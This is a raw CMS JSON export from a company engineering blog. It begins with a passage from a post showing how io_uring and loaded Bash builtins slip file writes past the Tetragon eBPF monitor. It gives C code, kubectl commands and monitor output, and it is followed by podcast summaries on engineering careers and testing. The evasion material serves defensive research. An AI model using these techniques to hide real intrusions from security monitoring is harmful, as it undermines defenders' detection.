+++",[],"code_block$ccbea148-78ea-48d0-bf6e-1c4bedc363c2",{"variation":459,"version":460,"items":12669,"primary":12670,"id":12676,"slice_type":479,"slice_label":13},[],{"body":12671},[12672],{"type":396,"text":12673,"spans":12674},"Running the program in the demo pod confirms that the write operation was not detected.",[12675],{"start":2744,"end":2585,"type":780},"rich_text$76d44506-c39e-4cb5-a67f-2710fc3e5976",{"variation":459,"version":460,"items":12678,"primary":12679,"id":12684,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12680},[12681],{"type":563,"text":12682,"spans":12683},"$ kubectl exec -it demo -- uwrite\nWriting using io_uring!",[],"code_block$f233cfcc-d49c-4d70-8893-bcb7053521a5",{"variation":459,"version":460,"items":12686,"primary":12687,"id":12692,"slice_type":479,"slice_label":13},[],{"body":12688},[12689],{"type":396,"text":12690,"spans":12691},"From the output, as expected, Tetragon is unable to detect the write operation.",[],"rich_text$5db2f652-87dd-4b46-8894-9e00ca94e765",{"variation":459,"version":460,"items":12694,"primary":12695,"id":12700,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12696},[12697],{"type":563,"text":12698,"spans":12699},"🚀 process default\u002Fdemo \u002Fusr\u002Fbin\u002Fuwrite                                   \n💥 exit    default\u002Fdemo \u002Fusr\u002Fbin\u002Fuwrite  0",[],"code_block$4b796f9e-b9f9-4333-b472-125a6f732584",{"variation":459,"version":460,"items":12702,"primary":12703,"id":12709,"slice_type":479,"slice_label":13},[],{"body":12704},[12705],{"type":396,"text":12706,"spans":12707},"In summary, io_uring is effectively a runtime for processing I\u002FO requests, that spawns threads, sets up work queues, and dispatches requests for processing. Using asynchronous I\u002FO increases complexity, making it harder for runtime security enforcement and observability tools to filter, block and react to events, requiring tools to keep track of the process, submitted requests and increasing the complexity of the rules.",[12708],{"start":1333,"end":3298,"type":780},"rich_text$f35e4f07-b433-4dda-98d1-fc5f93e0915b",{"variation":459,"version":460,"items":12711,"primary":12712,"id":12727,"slice_type":479,"slice_label":13},[],{"body":12713},[12714,12717,12720,12723],{"type":1097,"text":12715,"spans":12716,"direction":4053},"One more thing",[],{"type":396,"text":12718,"spans":12719,"direction":4053},"After successfully bypassing the write operation detection there is still one more thing that we can try to bypass: the process calling the write operation. Since security tools also monitor process execution events, a new binary spanning a process even if not associated with system call activity is always prone to raise an alert.",[],{"type":396,"text":12721,"spans":12722,"direction":4053},"To tamper with the process execution context, we will look at Bash builtin commands to execute the write operation directly, without invoking another program.",[],{"type":396,"text":12724,"spans":12725,"direction":4053},"First, let's rewrite our baseline example so it can be loaded in Bash using the enable command.",[12726],{"start":688,"end":590,"type":780},"rich_text$0f9eee20-b63c-487e-9045-aab3ec5e4c8a",{"variation":459,"version":460,"items":12729,"primary":12730,"id":12735,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12731},[12732],{"type":563,"text":12733,"spans":12734},"#include \"\u002Fusr\u002Finclude\u002Fbash\u002Fbuiltins.h\"\n\nint writeb_builtin_load ()\n{\n    write(1,\"Writing using writeb!\\n\",23); \n    return (1);\n}\n\nstruct builtin writeb_struct = {\n\t\"writeb\",\t\t\u002F* builtin name *\u002F\n\tNULL,\t\t\t\u002F* function implementing the builtin *\u002F\n\t0x1,\t\t\t\u002F* this builtin is enabled. *\u002F\n\tNULL,\t\t\t\u002F* array of long documentation strings. *\u002F\n\tNULL,\t\t\t\u002F* usage synopsis; becomes short_doc *\u002F\n\t0\t\t\t\u002F* reserved for internal use *\u002F\n};",[],"code_block$a82f9d29-2281-4168-9dee-cc8be9674636",{"variation":459,"version":460,"items":12737,"primary":12738,"id":12743,"slice_type":479,"slice_label":13},[],{"body":12739},[12740],{"type":396,"text":12741,"spans":12742},"Loading the shared library shows that Bash builtin commands can be used to run code in the Bash execution context.",[],"rich_text$a3f99058-b172-43b5-8b12-527b69262d25",{"variation":459,"version":460,"items":12745,"primary":12746,"id":12751,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12747},[12748],{"type":563,"text":12749,"spans":12750},"$ bash -c 'enable -f .\u002Fwriteb.so writeb'\nWriting using writeb!",[],"code_block$0e574e02-f451-4a57-8aa9-1e5a5e1af959",{"variation":459,"version":460,"items":12753,"primary":12754,"id":12761,"slice_type":479,"slice_label":13},[],{"body":12755},[12756],{"type":396,"text":12757,"spans":12758},"From the strace output we can see that the write(2) system call is called by Bash itself.",[12759,12760],{"start":2380,"end":2000,"type":780},{"start":6708,"end":1326,"type":780},"rich_text$ed8e0acc-495e-44df-b82c-3e9191f5213e",{"variation":459,"version":460,"items":12763,"primary":12764,"id":12769,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12765},[12766],{"type":563,"text":12767,"spans":12768},"$ strace bash -c 'enable -f .\u002Fwriteb.so writeb'\n[...snip...]\nwrite(1, \"Writing using writeb!\\n\\0\", 23Writing using writeb!\n) = 23\nrt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0\nrt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0\nexit_group(0)                           = ?\n+++ exited with 0 +++",[],"code_block$42ba24f6-40d8-40ca-897b-24d3cdc80532",{"variation":459,"version":460,"items":12771,"primary":12772,"id":12781,"slice_type":479,"slice_label":13},[],{"body":12773},[12774,12777],{"type":396,"text":12775,"spans":12776},"This technique allows us to decouple the write operation from the execution context of the process and adds another layer of complexity to the attack.",[],{"type":396,"text":12778,"spans":12779},"Running the program in the demo pod shows that the write operation executes normally.",[12780],{"start":2744,"end":2585,"type":780},"rich_text$48a646fd-2699-409a-91de-c42d1357c6a2",{"variation":459,"version":460,"items":12783,"primary":12784,"id":12789,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12785},[12786],{"type":563,"text":12787,"spans":12788},"$ kubectl exec -it demo -- bash -c 'enable -f .\u002Fwriteb writeb'\nWriting using writeb!",[],"code_block$97e7492d-4ffc-4bbb-9b45-8e6c8b7fe8f0",{"variation":459,"version":460,"items":12791,"primary":12792,"id":12797,"slice_type":479,"slice_label":13},[],{"body":12793},[12794],{"type":396,"text":12795,"spans":12796},"But on Tetragon's output, the write operation is now executed in the Bash execution context.",[],"rich_text$9e35774f-26ae-4184-b533-7d6cdd2f485b",{"variation":459,"version":460,"items":12799,"primary":12800,"id":12805,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12801},[12802],{"type":563,"text":12803,"spans":12804},"🚀 process default\u002Fdemo \u002Fusr\u002Fbin\u002Fbash -c \"enable -f .\u002Fwriteb writeb\"   \n📝 write   default\u002Fdemo \u002Fusr\u002Fbin\u002Fbash  23 bytes                           \n💥 exit    default\u002Fdemo \u002Fusr\u002Fbin\u002Fbash -c \"enable -f .\u002Fwriteb writeb\" 0",[],"code_block$93ce3369-a427-4b1d-b14c-12929e250370",{"variation":459,"version":460,"items":12807,"primary":12808,"id":12814,"slice_type":479,"slice_label":13},[],{"body":12809},[12810],{"type":396,"text":12811,"spans":12812},"This technique we can build bypass using io_uring what will run in the Bash execution context.",[12813],{"start":580,"end":476,"type":780},"rich_text$5ee42c39-d336-42f8-a9cc-c6ded89f2909",{"variation":459,"version":460,"items":12816,"primary":12817,"id":12822,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12818},[12819],{"type":563,"text":12820,"spans":12821},"#include \u003Cliburing.h>\n#include \"\u002Fusr\u002Finclude\u002Fbash\u002Fbuiltins.h\"\n\nint uwriteb_builtin_load ()\n{\n\tstruct iovec vecs;\n\tstruct io_uring ring;\n\tstruct io_uring_cqe *cqe;\n\tstruct io_uring_sqe *sqe;\n\n\tvecs.iov_base = \"Writing from bash using io_uring!\\n\";\n\tvecs.iov_len = 34;\n\n\tio_uring_queue_init(8, &ring, 0);\n\n\tsqe = io_uring_get_sqe(&ring);\n\n\tio_uring_prep_writev(sqe, 1, &vecs, 1, 0);\n\n\tio_uring_submit(&ring);\n\n\tio_uring_wait_cqe(&ring, &cqe);\n\n\tio_uring_cqe_seen(&ring, cqe);\n\n    return (1);\n}\n\nstruct builtin uwriteb_struct = {\n\t\"uwriteb\",\t\t\u002F* builtin name *\u002F\n\tNULL,\t\t\t\u002F* function implementing the builtin *\u002F\n\t0x1,\t\t\t\u002F* this builtin is enabled. *\u002F\n\tNULL,\t\t\t\u002F* array of long documentation strings. *\u002F\n\tNULL,\t\t\t\u002F* usage synopsis; becomes short_doc *\u002F\n\t0\t\t\t\u002F* reserved for internal use *\u002F\n};",[],"code_block$359d95dd-7931-49c7-b401-1a970c7b9d0a",{"variation":459,"version":460,"items":12824,"primary":12825,"id":12830,"slice_type":479,"slice_label":13},[],{"body":12826},[12827],{"type":396,"text":12778,"spans":12828},[12829],{"start":2744,"end":2585,"type":780},"rich_text$9a76e19c-ad73-445f-86eb-d697b5e9d87f",{"variation":459,"version":460,"items":12832,"primary":12833,"id":12838,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12834},[12835],{"type":563,"text":12836,"spans":12837},"$ kubectl exec -it demo -- bash -c 'enable -f .\u002Fuwriteb uwriteb'\nWriting from bash using io_uring!",[],"code_block$96217815-d503-4b54-88f3-6a2d37cebd91",{"variation":459,"version":460,"items":12840,"primary":12841,"id":12846,"slice_type":479,"slice_label":13},[],{"body":12842},[12843],{"type":396,"text":12844,"spans":12845},"On Tetragon's output, the write operation is not detected and it is executed in the Bash execution context.",[],"rich_text$682b411c-4076-42d5-88cc-6af075fe8ed1",{"variation":459,"version":460,"items":12848,"primary":12849,"id":12854,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12850},[12851],{"type":563,"text":12852,"spans":12853},"$ kubectl logs -n kube-system ds\u002Ftetragon -c export-stdout -f | tetragon observe --namespace default --pod demo\n🚀 process default\u002Fdemo \u002Fusr\u002Fbin\u002Fbash -c \"enable -f .\u002Fuwriteb uwriteb\"     \n💥 exit    default\u002Fdemo \u002Fusr\u002Fbin\u002Fbash -c \"enable -f .\u002Fuwriteb uwriteb\" 0",[],"code_block$f9274945-6225-4dc7-b00e-29e1662918ff",{"variation":459,"version":460,"items":12856,"primary":12857,"id":12894,"slice_type":479,"slice_label":13},[],{"body":12858},[12859,12861,12864,12867,12871,12877,12882,12888],{"type":1097,"text":4469,"spans":12860,"direction":4053},[],{"type":396,"text":12862,"spans":12863,"direction":4053},"This blog post introduced some of the limitations and challenges faced by the defensive teams and basic techniques used regularly by red teams and adversaries. The techniques and limitations described in this blog post are not exclusive to Tetragon, affecting other monitoring solutions that use similar system call detection rules. Although by no means exhaustive, I hope that the techniques presented will inspire both teams to improve and keep the cat-and-mouse engaging for some time.",[],{"type":396,"text":3350,"spans":12865,"direction":4053},[12866],{"start":17,"end":2000,"type":477},{"type":1101,"text":12096,"spans":12868,"direction":4053},[12869],{"start":17,"end":4811,"type":744,"data":12870},{"link_type":453,"url":12080,"target":456},{"type":1101,"text":12872,"spans":12873,"direction":4053},"eBPF",[12874],{"start":17,"end":667,"type":744,"data":12875},{"link_type":453,"url":12876,"target":456},"https:\u002F\u002Febpf.io\u002F",{"type":1101,"text":12878,"spans":12879,"direction":4053},"liburing",[12880],{"start":17,"end":4811,"type":744,"data":12881},{"link_type":453,"url":12643,"target":456},{"type":1101,"text":12883,"spans":12884,"direction":4053},"Lord of the io_uring",[12885],{"start":17,"end":3298,"type":744,"data":12886},{"link_type":453,"url":12887,"target":456},"https:\u002F\u002Funixism.net\u002Floti\u002F",{"type":1101,"text":12889,"spans":12890,"direction":4053},"GTFOBins",[12891],{"start":17,"end":4811,"type":744,"data":12892},{"link_type":453,"url":12893,"target":456},"https:\u002F\u002Fgtfobins.github.io\u002Fgtfobins\u002Fbash\u002F#library-load","rich_text$5352e926-2883-4d18-af02-2bf33dd667d4",{"id":12896,"uid":12897,"url":12898,"type":406,"href":12899,"tags":12900,"first_publication_date":11003,"last_publication_date":12901,"slugs":12902,"linked_documents":12904,"lang":386,"alternate_languages":12905,"data":12906},"alz1FxEAACgAUWfU","podcast-careers-engineering","\u002Fresources\u002Fengineering-blog\u002Fpodcast-careers-engineering","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1FxEAACgAUWfU%22%29+%5D%5D",[],"2026-08-27T02:06:54+0000",[12903],"ep-32-.tech---careers-in-engineering",[],[],{"title":12907,"excerpt":12908,"card_image":12909,"published_date":12914,"reading_time":667,"tag":427,"dek":12908,"featured_image":12915,"about_form3":12920,"client_about_heading":13,"client_about_body":12921,"author_name":1277,"author_title":1278,"author_photo":12922,"author_bio":12925,"author_linkedin":12928,"slices":12930,"meta_title":12907,"meta_description":12908},".tech Podcast - Careers in Engineering","Sally Goble, Engineering Manager at accuRx, joins us to tell us all about growing engineering teams, how to support engineering career progression, as well as the importance of salary transparency.",{"dimensions":12910,"alt":12907,"copyright":13,"url":12911,"id":12912,"edit":12913},{"width":420,"height":420},"\u002F_prismic-media\u002Fcff6721cc46e903e-9HztM7Ux7k_ZGhQD_podcast-careers-engineering.png","9HztM7Ux7k_ZGhQD",{"x":17,"y":17,"zoom":18,"background":19},"2022-05-27",{"dimensions":12916,"alt":13,"copyright":13,"url":12917,"id":12918,"edit":12919},{"width":1270,"height":2672},"\u002F_prismic-media\u002F0e8c7dc0336bcdd8-h1jS32PYZjEGQi9z_24cdf852-b4b9-4615-ad6c-0a87858.png","h1jS32PYZjEGQi9z",{"x":17,"y":17,"zoom":18,"background":19},[],[],{"dimensions":12923,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":12924},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[12926],{"type":396,"text":1287,"spans":12927},[],{"link_type":453,"key":12929,"url":1291,"target":456},"7de295e8-eb9c-40c0-836c-3c96982e3511",[12931,12945,12965,12989,13014],{"variation":459,"version":460,"items":12932,"primary":12933,"id":12944,"slice_type":479,"slice_label":13},[],{"body":12934},[12935],{"type":396,"text":12936,"spans":12937},"Sally Goble is an Engineering Manager at accuRx. She has been with accuRx for about 6 months. Previously, she has worked at various start ups and scale ups including Deliveroo and The Guardian.",[12938,12941],{"start":17,"end":1998,"type":744,"data":12939},{"link_type":453,"url":12940},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fsally-goble-07370a4\u002F",{"start":580,"end":3824,"type":744,"data":12942},{"link_type":453,"url":12943},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Faccurx\u002F","rich_text$12967303-f8fe-4613-a160-9cdc41f8b95a",{"variation":459,"version":481,"items":12946,"primary":12947,"id":12964,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":12948,"body":12952,"cta_label":1304,"cta_link":12955,"aside_type":13,"aside_image":12958,"aside_video":12959,"aside_video_poster":12960,"aside_video_reduced_motion":12961,"aside_video_url":13,"aside_embed":12962,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":12963,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[12949],{"type":465,"text":12950,"spans":12951},"Ep 32 .tech - Careers in Engineering",[],[12953],{"type":396,"text":1302,"spans":12954},[],{"link_type":453,"key":12956,"url":12957},"9b40ba9c-5487-41f9-a643-574f826045a9","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-32-tech-careers-in-engineering-f_W4wpEN",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$120472bb-cf69-4658-ad54-2325b9c6819d",{"variation":459,"version":460,"items":12966,"primary":12967,"id":12988,"slice_type":479,"slice_label":13},[],{"body":12968},[12969,12972,12975,12978,12981],{"type":465,"text":12970,"spans":12971},"Growing engineering teams",[],{"type":396,"text":12973,"spans":12974},"When it comes to scaling engineering teams, it's important to get a balance between engineers at different levels. At small companies, it's important to have engineers who are able to execute quickly and deliver value. As the engineering team grows, it becomes more important to have a diverse team with different skills.",[],{"type":396,"text":12976,"spans":12977},"In a high growth company, you have to be very deliberate you don't fall into the common traps of hiring lots of junior engineers who don't have anyone to support them or hiring lots of engineers without any managers to guide them. Be very conscious to hire people that suit the scale of the company.",[],{"type":396,"text":12979,"spans":12980},"Senior engineers grow by mentoring less experienced engineers, so it's important to have a good mentorship scheme, either formal or informal. Teams should be made of a mix of experience, skills and seniority, so that everyone can have a good ecosystem to work in.",[],{"type":396,"text":12982,"spans":12983},"When it comes to team size, Sally recommends the classic \"pizza size\" team of 3-4 engineers to be efficient and lean. Organisationally, these smaller teams are organised into clans at accuRx of about 4-5 teams. These clans have ownership of a particular area of the business.",[12984],{"start":12985,"end":7002,"type":744,"data":12986},175,{"link_type":453,"url":12987},"https:\u002F\u002Fwww.notion.so\u002FValues-how-we-work-a9de3e3d187b4cad8fb4f2db0adc55cf","rich_text$1bd14d2e-eb25-4f8b-a952-326440b6e6d2",{"variation":459,"version":460,"items":12990,"primary":12991,"id":13013,"slice_type":479,"slice_label":13},[],{"body":12992},[12993,12996,12999,13002,13005,13010],{"type":465,"text":12994,"spans":12995},"Career progression",[],{"type":396,"text":12997,"spans":12998},"Career paths should be available for everyone in the company. There should be a balance between hiring externally and promoting internally for positions of leadership in the company.",[],{"type":396,"text":13000,"spans":13001},"It's a challenge to come in at a very senior level, assimilate quickly and start making a lot of impact. It is also challenging for the company to assess whether they have made the impact during the very short probation periods, as delivering big important changes takes time. At Form3, we choose to promote internally only to give people the opportunity to grow and retain them for a longer time.",[],{"type":396,"text":13003,"spans":13004},"When it comes to career pathways, there is often the expectation to start out in engineering and then step into engineering management, as that was the only way to \"do well\". Now, senior individual contributors (ICs) are seen to be equal to management positions and have an equal seat at the table. It's great to have two separate career paths for engineering and management, with Tech Lead positions sitting somewhere in between.",[],{"type":396,"text":13006,"spans":13007},"At accuRx, engineering managers are hands off technical delivery and direction, giving autonomy and ownership to the engineering team. Tech Leads and Product Managers partner to deliver the features and difficult work. Engineering managers take care of engineering clans, ensuring that engineerings have career support, mentoring and guidance available to them. The relationship between engineering managers is long term, ensuring that engineers don't change managers once they change team.",[13008],{"start":3671,"end":5381,"type":744,"data":13009},{"link_type":453,"url":12987},{"type":396,"text":13011,"spans":13012},"One-to-ones are very important when it comes to checking in with the engineers. Sally finds that weekly one-to-ones are a vital part of keeping engineers happy and she always makes time for them.",[],"rich_text$92a42097-ba59-4086-a038-9eed3a85c20e",{"variation":459,"version":460,"items":13015,"primary":13016,"id":13033,"slice_type":479,"slice_label":13},[],{"body":13017},[13018,13021,13027,13030],{"type":465,"text":13019,"spans":13020},"Salary transparency",[],{"type":396,"text":13022,"spans":13023},"accuRx are proud to have publicly visible salary bands. It's great to be transparent, allowing engineers to see if they are being paid in line with their peers.",[13024],{"start":2118,"end":2041,"type":744,"data":13025},{"link_type":453,"url":13026},"https:\u002F\u002Fwww.notion.so\u002FEngineering-Progression-Framework-4be98956e24f42ce80416f9b89e44d3d",{"type":396,"text":13028,"spans":13029},"The career framework describes the skills and capabilities that your company values for each level of the engineering organisation. The engineering manager meets with the engineer and together review their performance against the career framework ideally 3-4 times a year. The engineering manager helps the engineer come up with a plan on addressing their areas of improvement, as well as finding opportunities to showcase their skills.",[],{"type":396,"text":13031,"spans":13032},"Progression frameworks should be taken in the spirit in which they're written, as opposed to becoming box ticking exercises. They should not be hard lines, what's important is that the engineer is in an upward career trajectory.",[],"rich_text$a76705f0-b184-4773-bd74-e2b74b9997c7",{"id":13035,"uid":13036,"url":13037,"type":406,"href":13038,"tags":13039,"first_publication_date":13040,"last_publication_date":12901,"slugs":13041,"linked_documents":13043,"lang":386,"alternate_languages":13044,"data":13045},"alz1GhEAACoAUWfj","testing-at-form3","\u002Fresources\u002Fengineering-blog\u002Ftesting-at-form3","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1GhEAACoAUWfj%22%29+%5D%5D",[],"2026-07-19T16:21:53+0000",[13042],"ep-31-.tech---testing-at-form3",[],[],{"title":13046,"excerpt":13047,"card_image":13048,"published_date":13053,"reading_time":667,"tag":427,"dek":13047,"featured_image":13054,"about_form3":13055,"client_about_heading":13,"client_about_body":13056,"author_name":1277,"author_title":1278,"author_photo":13057,"author_bio":13060,"author_linkedin":13063,"slices":13065,"meta_title":13046,"meta_description":13047},".tech Podcast - Testing at Form3","Sam Owens joins us to tell us all about our approach to testing at Form3. He gives us an overview of our testing strategy, the different types of tests we run and explains how to use Pact for testing your services. Finally, he tells us why he prefers BDD style tests.",{"dimensions":13049,"alt":13046,"copyright":13,"url":13050,"id":13051,"edit":13052},{"width":420,"height":420},"\u002F_prismic-media\u002Fd90e6d90498b9f98-Drbkinz8198Eia1x_testing-at-form3.png","Drbkinz8198Eia1x",{"x":17,"y":17,"zoom":18,"background":19},"2022-05-11",{},[],[],{"dimensions":13058,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":13059},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[13061],{"type":396,"text":1287,"spans":13062},[],{"link_type":453,"key":13064,"url":1291,"target":456},"3cf52d40-55dc-45b2-8f92-7ce81f88bf00",[13066,13086,13099,13140,13157,13171,13191],{"variation":459,"version":481,"items":13067,"primary":13068,"id":13085,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":13069,"body":13073,"cta_label":1304,"cta_link":13076,"aside_type":13,"aside_image":13079,"aside_video":13080,"aside_video_poster":13081,"aside_video_reduced_motion":13082,"aside_video_url":13,"aside_embed":13083,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":13084,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[13070],{"type":465,"text":13071,"spans":13072},"Ep 31 .tech - Testing at Form3",[],[13074],{"type":396,"text":1302,"spans":13075},[],{"link_type":453,"key":13077,"url":13078},"dce3f23b-415d-47d8-a9e3-f261add75500","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-31-tech-testing-at-form3-MBMFuHWL",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$86ed0292-4e35-4aac-84b3-dcf0d66109ad",{"variation":459,"version":460,"items":13087,"primary":13088,"id":13098,"slice_type":479,"slice_label":13},[],{"body":13089},[13090],{"type":396,"text":13091,"spans":13092},"Sam Owens is Head of Architecture at Form3. He guides the technical decisions that our engineers make across the platform. Generally, his role involves coordinating decision making. At Form3, we take a collaborative approach to system design and Sam is in charge of facilitating decision discussions.",[13093,13096],{"start":17,"end":2380,"type":744,"data":13094},{"link_type":453,"url":13095},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fsam-owens-34331a2a\u002F",{"start":475,"end":773,"type":744,"data":13097},{"link_type":453,"url":1328},"rich_text$4bbd6d7b-3f42-4667-82f1-03951ca8ac89",{"variation":459,"version":460,"items":13100,"primary":13101,"id":13139,"slice_type":479,"slice_label":13},[],{"body":13102},[13103,13106,13112,13115,13118,13128,13132,13136],{"type":465,"text":13104,"spans":13105},"Types of tests we perform",[],{"type":396,"text":13107,"spans":13108},"We spend a lot of time focusing on automation, so we don't have dedicated QA teams. Instead, it is the responsibility of the teams that build the software to ensure that it is well tested and production ready. We run our teams using the DevOps model.",[13109],{"start":6100,"end":4881,"type":744,"data":13110},{"link_type":453,"url":13111},"https:\u002F\u002Fwww.form3.tech\u002Fengineering\u002Fwho-we-are\u002Fengineering-teams",{"type":396,"text":13113,"spans":13114},"We really believe that focusing on end-to-end tests is the key to that. We put a lot of onus on allowing people to write tests that cover as much of their software in a black box fashion, without relying on unit tests that mock out different behaviour. This allows us to have a very high quality test suite at the end of it.",[],{"type":396,"text":13116,"spans":13117},"We have a variety of functional tests:",[],{"type":582,"text":13119,"spans":13120},"End-to-end tests at the service level: We spin up the infrastructure required for a the service under test using Docker and then we use Pact, which implements consumer contract testing for our internal dependencies.",[13121,13122,13125],{"start":17,"end":475,"type":780},{"start":5615,"end":742,"type":744,"data":13123},{"link_type":453,"url":13124},"https:\u002F\u002Fdocs.docker.com\u002Flanguage\u002Fnodejs\u002Frun-containers\u002F",{"start":3249,"end":5547,"type":744,"data":13126},{"link_type":453,"url":13127},"https:\u002F\u002Fpact.io\u002F",{"type":582,"text":13129,"spans":13130},"End-to-end platform tests: run full flows for payments through our system. We have fewer of these as they require a fully working platform.",[13131],{"start":17,"end":2118,"type":780},{"type":582,"text":13133,"spans":13134},"Manual smoke tests: the final barrier to ensuring that everything works as expected before we push changes to production.",[13135],{"start":17,"end":905,"type":780},{"type":396,"text":13137,"spans":13138},"On the non-functional testing side, we run load tests on our platforms. We also run continuous load on our development environments to ensure that our systems are able to scale correctly.",[],"rich_text$1941c60b-96eb-49ef-9472-02699bc98101",{"variation":459,"version":460,"items":13141,"primary":13142,"id":13156,"slice_type":479,"slice_label":13},[],{"body":13143},[13144,13147,13150,13153],{"type":465,"text":13145,"spans":13146},"Our preference for end-to-end testing",[],{"type":396,"text":13148,"spans":13149},"In general, we don't have many unit tests of our codebases, as we have found low level unit tests (for example ones around a single function) are too tied to the implementation details of the code. Re-implementing services then requires refactoring the tests (sometimes even deleting them!), which can be cumbersome, time consuming and also means it is hard to be confident in the new implementation when you have to change the test too. This allows us to swap underlying services and dependencies without having to rewrite a whole bunch of unit tests.",[],{"type":396,"text":13151,"spans":13152},"For us at Form3, end to end tests using Pact for contract testing hits the sweet spot between speed of delivery and test coverage.",[],{"type":396,"text":13154,"spans":13155},"Because they are in charge of the full development lifecycle, our engineers have more ownership of our services, which has proven a very successful approach for us. In the 5 years that we've been running our platform, we've not had major incidents caused by defects in production.",[],"rich_text$3b9ba0e6-4b3b-47da-a550-f57ce5929cba",{"variation":459,"version":460,"items":13158,"primary":13159,"id":13170,"slice_type":479,"slice_label":13},[],{"body":13160},[13161,13164,13167],{"type":465,"text":13162,"spans":13163},"Avoiding brittle tests",[],{"type":396,"text":13165,"spans":13166},"Writing the majority of our tests as end-to-end tests can be more complex, especially as our architecture involves asynchronous processing. Brittle or flaky tests are frustrating for engineers.",[],{"type":396,"text":13168,"spans":13169},"Fixing timing issues with sleeps and waits or depending on log messages to synchronise your tests are common traps. These quick fixes should be avoided.",[],"rich_text$9913b857-2b8b-460c-b6e2-794dc8649e42",{"variation":459,"version":460,"items":13172,"primary":13173,"id":13190,"slice_type":479,"slice_label":13},[],{"body":13174},[13175,13178,13184],{"type":465,"text":13176,"spans":13177},"Using Pact",[],{"type":396,"text":13179,"spans":13180},"Pact is an implementation of consumer contract testing. During test suite definition, we specify the interaction between the consumer and the service. The test suite will specify the URL, parameter and expected responses. These are put in a contract that specifies all of these things together.",[13181],{"start":17,"end":667,"type":744,"data":13182},{"link_type":453,"url":13183},"https:\u002F\u002Fdocs.pact.io\u002F5-minute-getting-started-guide",{"type":396,"text":13185,"spans":13186},"Pact then provides a mock server that verifies requests and responses together. The test runner is able to ensure that the server behaviour is as expected both on the consumer and server side. This allows us to test both sides of this contract.",[13187],{"start":844,"end":601,"type":744,"data":13188},{"link_type":453,"url":13189},"https:\u002F\u002Fdocs.pact.io\u002Fgetting_started\u002Fverifying_pacts","rich_text$86ee459d-94bb-4c3f-9fb6-a6f3d2fc8560",{"variation":459,"version":460,"items":13192,"primary":13193,"id":13207,"slice_type":479,"slice_label":13},[],{"body":13194},[13195,13198,13204],{"type":465,"text":13196,"spans":13197},"BDD style tests",[],{"type":396,"text":13199,"spans":13200},"Even though our services are written in Go, we write all of our tests in BDD style, as opposed to table testing.",[13201],{"start":714,"end":899,"type":744,"data":13202},{"link_type":453,"url":13203},"https:\u002F\u002Fdocs.pact.io\u002Fconsumer#watch-a-video-writing-good-consumer-tests",{"type":396,"text":13205,"spans":13206},"The choice to write our tests in BDD gives us higher test readability, which is important for our engineers as maintainers.",[],"rich_text$1d35839b-2131-4fdf-9a52-ffd018d56c36",{"id":13209,"uid":13210,"url":13211,"type":406,"href":13212,"tags":13213,"first_publication_date":13040,"last_publication_date":13214,"slugs":13215,"linked_documents":13217,"lang":386,"alternate_languages":13218,"data":13219},"alz1HhEAACgAUWf0","nat-and-proxies-part2","\u002Fresources\u002Fengineering-blog\u002Fnat-and-proxies-part2","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1HhEAACgAUWf0%22%29+%5D%5D",[],"2026-08-27T22:11:26+0000",[13216],"forward-proxies",[],[],{"title":13220,"excerpt":13221,"card_image":13222,"published_date":13227,"reading_time":1411,"tag":427,"dek":13228,"featured_image":13229,"about_form3":13230,"client_about_heading":13,"client_about_body":13231,"author_name":13,"author_title":13,"author_photo":13232,"author_bio":13233,"author_linkedin":13234,"slices":13235,"meta_title":13220,"meta_description":13221},"Network Address Translation (NAT) and Proxies (part 2)","Network Address Translation, forward proxies, and reverse proxies, are three common techniques for managing network traffic at scale. This blog will attempt to distil each idea into its simplest form, and write a code example where possible",{"dimensions":13223,"alt":13220,"copyright":13,"url":13224,"id":13225,"edit":13226},{"width":420,"height":420},"\u002F_prismic-media\u002F6b23f7b7f0b874f6-5qNNexOYCLmGAlWV_nat-and-proxies-part2.png","5qNNexOYCLmGAlWV",{"x":17,"y":17,"zoom":18,"background":19},"2022-05-06","Exposing pools of machines to clients, or routing network traffic via an intermediary, are common techniques in distributed computing, and large networks. Network Address Translation, forward proxies, and reverse proxies, are three common techniques for managing network traffic at scale. However, I've always found each of these topics to be somewhat mystical, and I've never understood the fundamentals of how each technique 